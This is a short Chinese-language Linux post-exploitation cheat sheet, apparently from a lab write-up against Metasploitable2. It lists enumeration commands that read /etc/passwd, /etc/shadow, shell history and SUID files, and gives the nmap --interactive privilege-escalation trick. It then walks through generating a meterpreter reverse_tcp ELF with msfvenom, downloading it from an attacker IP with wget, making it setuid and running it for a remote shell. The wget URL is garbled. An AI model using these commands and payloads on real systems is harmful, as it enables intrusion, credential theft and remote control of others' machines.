linux信息搜集
1. linux信息搜集
id 查看当前用户的权限和所在的管理组
python -c “import pty;pty.spawn(‘/bin/bash’);” 会话提升
uname -a 查看linux版本内核信息
cat /etc/*release 查看linux发行信息
dpkg -l 查看安装的包
crontab -l 是否有计划任务（这边显示没有计划任务）
/sbin/ifconfig -a 查看ip地址等
cat /etc/passwd 普通用户可以查看用户的信息
cat /etc/shadow 账号密码信息（root权限）（这边显示没有权限）
cat /root/.mysql_history 查看mysql历史操作（靶机和kali都未对mysql进行过操作所以没有这个文件）
cat /root/.bash_history 查看用户指令历史记录
cat /proc/version 查看内核信息
find / -perm -u=s -type f 2>/dev/null 匹配高权限的文件，看是否有利用点
/：代表查询位置，当前设置为根目录
-perm：代表权限
-u=s：代表用户的权限 s：superbin
-type：类型 ，f代表文件 file
2. nmap漏洞复现
|
nmap –interactive –>!sh 利用nmap3.5<4.6.4之间存在的漏洞进行提权 |
3. msf linux模块反弹shell
先在kali上生成木马
|
msfvenom -a x86 –platform linux -p linux/x86/meterpreter/reverse_tcp lhost=192.168.227.129 lport=4444 -f elf -o xx.elf linux的x86 payload需要跟上x86 |
首先先然metasploit2下载kali上的木马文件
|
wget http://1192.168.227.129:80/xx.elflinux从命令行下载网页文件 |
然后将文件赋予能执行的权利（这里为了方便直接给了4777）
|
chmod 4777 xx.elf 修改文件权限 |
因为是linux系统所以在设置监听的payload的时候需要也是linux
linux执行xx.elf文件
成功进入到meterpreter界面
来源：freebuf.com 2020-11-16 14:20:05 by: 彩虹猛犸233